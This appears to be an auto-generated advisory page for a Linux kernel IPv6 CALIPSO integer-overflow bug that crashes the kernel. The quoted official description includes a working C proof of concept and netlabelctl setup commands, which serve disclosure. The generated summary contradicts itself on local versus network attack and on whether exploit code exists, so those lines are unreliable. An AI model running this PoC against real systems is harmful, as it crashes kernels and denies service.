# CVE-2025-71085: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() > A local attacker can cause a kernel crash via integer overflow in IPv6 Calipso handling, requiring specific netlabel configuration. - **Severity:** High 7.5 (`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`) - **Exploited in the wild:** Not known - **Login needed:** Not needed - **Attackable:** Over the internet - **Victim action needed:** Not needed - **Fix available:** Yes - **Published:** 13 Jan 2026 - **Updated:** 19 Oct 2026 - **Also known as:** BELL-CVE-2025-71085, DEBIAN-CVE-2025-71085, GHSA-hjpx-f2r6-rr4q, RHSA-2026:5689, ROOT-OS-DEBIAN-11-CVE-2025-71085, ROOT-OS-DEBIAN-12-CVE-2025-71085, ROOT-OS-DEBIAN-13-CVE-2025-71085, ROOT-OS-UBUNTU-2204-CVE-2025-71085, ROOT-OS-UBUNTU-2404-CVE-2025-71085, UBUNTU-CVE-2025-71085 ## What is CVE-2025-71085? CVE-2025-71085 is a high-severity vulnerability in Linux kernel, published on 13 Jan 2026. An attacker can exploit it over the internet without logging in, with no action from the victim. ### Official description In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0); Weakness: CWE-617 (Reachable Assertion), CWE-190 (Integer Overflow or Wraparound) ## Which versions are affected by CVE-2025-71085? It affects 1 product. | Package | Ecosystem | Affected | Fixed in | | --- | --- | --- | --- | | `bpftool` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `bpftool-debuginfo` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-abi-stablelists` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-core` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-debug` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-debug-core` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-debug-debuginfo` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-debug-devel` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-debug-modules` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-debug-modules-extra` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-debuginfo` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-debuginfo-common-ppc64le` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-debuginfo-common-x86_64` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-devel` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-doc` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-modules` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-modules-extra` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-tools` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-tools-debuginfo` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-tools-libs` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `perf` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `perf-debuginfo` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `python3-perf` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `python3-perf-debuginfo` | Red Hat:rhel_e4s:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `bpftool` | Red Hat:rhel_tus:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `bpftool-debuginfo` | Red Hat:rhel_tus:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel` | Red Hat:rhel_tus:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-abi-stablelists` | Red Hat:rhel_tus:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-core` | Red Hat:rhel_tus:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-debug` | Red Hat:rhel_tus:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-debug-core` | Red Hat:rhel_tus:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-debug-debuginfo` | Red Hat:rhel_tus:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-debug-devel` | Red Hat:rhel_tus:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-debug-modules` | Red Hat:rhel_tus:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-debug-modules-extra` | Red Hat:rhel_tus:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-debuginfo` | Red Hat:rhel_tus:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-debuginfo-common-x86_64` | Red Hat:rhel_tus:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-devel` | Red Hat:rhel_tus:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | | `kernel-doc` | Red Hat:rhel_tus:8.8::baseos | All versions | 0:4.18.0-477.133.1.el8_8 | Products: Linux kernel. ## How do I fix CVE-2025-71085? Apply the vendor's patch. ## Is CVE-2025-71085 being exploited? There is no known exploitation of CVE-2025-71085 in the wild and no public exploit code. ## Other vulnerabilities in Linux kernel - [CVE-2026-53266](https://insights.sbomify.com/CVE-2026-53266/): Linux Kernel Out-of-Bounds Write (high 8.8, exploited in the wild) - [CVE-2013-6282](https://insights.sbomify.com/CVE-2013-6282/): Linux Kernel Improper Input Validation (high 8.8, exploited in the wild) - [CVE-2022-0185](https://insights.sbomify.com/CVE-2022-0185/): Linux Kernel Heap-Based Buffer Overflow (high 8.4, exploited in the wild) - [CVE-2013-2094](https://insights.sbomify.com/CVE-2013-2094/): Linux Kernel Privilege Escalation (high 8.4, exploited in the wild) - [CVE-2026-53362](https://insights.sbomify.com/CVE-2026-53362/): Linux Kernel Unspecified (high 7.8, exploited in the wild) ## Fix prompt for AI coding agents ```text Check this codebase for CVE-2025-71085 and fix it if it is affected. What it is: CVE-2025-71085 is a high-severity vulnerability in Linux kernel, published on 13 Jan 2026. An attacker can exploit it over the internet without logging in, with no action from the victim. Exploitation: There is no known exploitation of CVE-2025-71085 in the wild and no public exploit code. Affected product: Linux kernel. No package-level version data is available, so check the vendor advisory linked from the reference page. Task: 1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies. 2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it. 3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead. 4. Run the tests and summarise what changed and why. 5. If nothing in the project is affected, say so and change nothing. Reference: https://insights.sbomify.com/CVE-2025-71085/ (Markdown: https://insights.sbomify.com/CVE-2025-71085/index.md) ``` ## Sources - CVE record: https://www.cve.org/CVERecord?id=CVE-2025-71085 - NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-71085 - OSV: https://osv.dev/vulnerability/CVE-2025-71085 --- From sbomify Insights: https://insights.sbomify.com/CVE-2025-71085/ Summaries are generated and may contain mistakes; the official description above is the record.